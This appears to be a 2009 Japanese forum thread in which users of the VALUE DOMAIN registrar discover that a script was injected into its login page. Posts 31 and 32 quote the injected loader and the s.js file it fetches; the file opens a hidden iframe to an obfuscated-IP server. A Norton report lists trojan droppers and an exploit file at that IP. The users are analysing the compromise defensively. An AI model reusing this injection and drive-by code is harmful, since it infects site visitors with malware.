VALUE DOMAINってどうよ？ part33

1 ：名無しさん＠お腹いっぱい。：2009/07/06(月) 06:18:47 0

VALUE DOMAIN:バリュードメイン
https://www.value-domain.com/
サポート
https://www.value-domain.com/support.php
http://sb.xrea.com/forumdisplay.php?f=21

◆前スレ
VALUE DOMAINってどうよ？ part32
http://pc11.2ch.net/test/read.cgi/hosting/1239851317/

29 ：名無しさん＠お腹いっぱい。：2009/07/06(月) 17:22:28 0

>>6

ttp://1856317799:888/s.js
のことかな
確かにパスーワード入力欄の下に埋め込まれてる

1856317799のIPアドレスは110.165.41.103
>>7
のIPと一致するけど、
正常なスクリプトか、ウイルスか、パス抜きか・・・

なんかよく分からんが、ログインするのはヤメとくか

30 ：名無しさん＠お腹いっぱい。：2009/07/06(月) 17:29:50 0

なんだかなあ・・・
あっちもこっちもボロが出てるなぁ・・・

31 ：名無しさん＠お腹いっぱい。：2009/07/06(月) 17:31:42 0

>>29
これか・・・
<ＳＣＲＩＰＴ ＬＡＮＧＵＡＧＥ＝"ＪＡＶＡＳＣＲＩＰＴ">
    ｖａｒ ｊｓ ＝ ｄｏｃｕｍｅｎｔ.ｃｒｅａｔｅＥｌｅｍｅｎｔ（"ｓｃｒｉｐｔ"）；
    ｊｓ.ｓｒｃ ＝ "ｈｔｔｐ：//１８５６３１７７９９：８８８/ｓ.ｊｓ"；
    ｔｒｙ ｛ｄｏｃｕｍｅｎｔ.ｇｅｔＥｌｅｍｅｎｔｓＢｙＴａｇＮａｍｅ（'ｈｅａｄ'）［０］.ａｐｐｅｎｄＣｈｉｌｄ（ｊｓ）；｝
    ｃａｔｃｈ（ｅｘｐ）｛｝
    ｊｓ ＝ ｎｕｌｌ；
</ＳＣＲＩＰＴ>

さっきログインしてしまった・・・orz

32 ：名無しさん＠お腹いっぱい。：2009/07/06(月) 17:41:57 0

s.jsの中身

／＊ｄｓａｄａｓｄａｄａｓｄａｓｄａｓｄａｓ＊／
ｉｆ（ｄｏｃｕｍｅｎｔ．ｃｏｏｋｉｅ．ｉｎｄｅｘＯｆ（”Ｏ＝”）＝＝−１）
｛
　　　　ｖａｒ　ｊｓ　＝　ｄｏｃｕｍｅｎｔ．ｃｒｅａｔｅＥｌｅｍｅｎｔ（’ｉｆｒａｍｅ’）；
　　　　ｊｓ．ｓｒｃ　＝　”ｈｔｔｐ：￥／￥／０ｘ６ＥＡ５２９６７：８８８／ｄｉｒ／ｓｈｏｗ．ｐｈｐ”；
　　　　ｊｓ．ｗｉｄｔｈ＝０；
　　　　ｊｓ．ｈｅｉｇｈｔ＝０；
　　　　ｔｒｙ　｛ｄｏｃｕｍｅｎｔ．ｇｅｔＥｌｅｍｅｎｔｓＢｙＴａｇＮａｍｅ（’ｈｅａｄ’）［０］．ａｐｐｅｎｄＣｈｉｌｄ（ｊｓ）；｝
　　　　ｃａｔｃｈ（ｅｘｐ）｛｝
　　　　ｊｓ　＝　ｎｕｌｌ；

ｖａｒ　ｅｘｐｉｒｅｓ＝ｎｅｗ　Ｄａｔｅ（）；
ｅｘｐｉｒｅｓ．ｓｅｔＴｉｍｅ（ｅｘｐｉｒｅｓ．ｇｅｔＴｉｍｅ（）＋２４＊６０＊６０＊１０００）；
ｄｏｃｕｍｅｎｔ．ｃｏｏｋｉｅ＝”Ｏ＝Ｙｅｓ；ｐａｔｈ＝／；ｅｘｐｉｒｅｓ＝”＋ｅｘｐｉｒｅｓ．ｔｏＧＭＴＳｔｒｉｎｇ（）；
｝／＊ｄａｓｄａｄａｄｓａｄａｓｄａｓ＊／

33 ：名無しさん＠お腹いっぱい。：2009/07/06(月) 17:44:36 0

何これpass抜きか何か？

34 ：名無しさん＠お腹いっぱい。：2009/07/06(月) 17:45:36 0

http://safeweb.norton.com/report/show?name=110.165.41.103

Norton セーフウェブが 110.165.41.103 を分析して安全性とセキュリティの問題を調べました。下に示すのは見つかった脅威のサンプルです。

見つかった脅威の合計: 8

脅威名: Trojan.Dropper
場所: tp://110.165.41.103:888/dir/d6.dll

脅威名: Trojan.Dropper
場所: tp://110.165.41.103:888/dir/en.dll

脅威名: Trojan.Dropper
場所: tp://110.165.41.103:888/dir/d7.dll

脅威名: Trojan.Dropper
場所: tp://110.165.41.103:888/dir/d9.dll

脅威名: Trojan.Dropper
場所: tp://110.165.41.103:888/dir/fd.dll

脅威名: Trojan.Dropper
場所: tp://110.165.41.103:888/dir/wa.dll

脅威名: Trojan.Dropper
場所: tp://110.165.41.103:888/dir/yg.dll

脅威名: Bloodhound.Exploit.193
場所: tp://110.165.41.103:888/swf/ia115-2.swf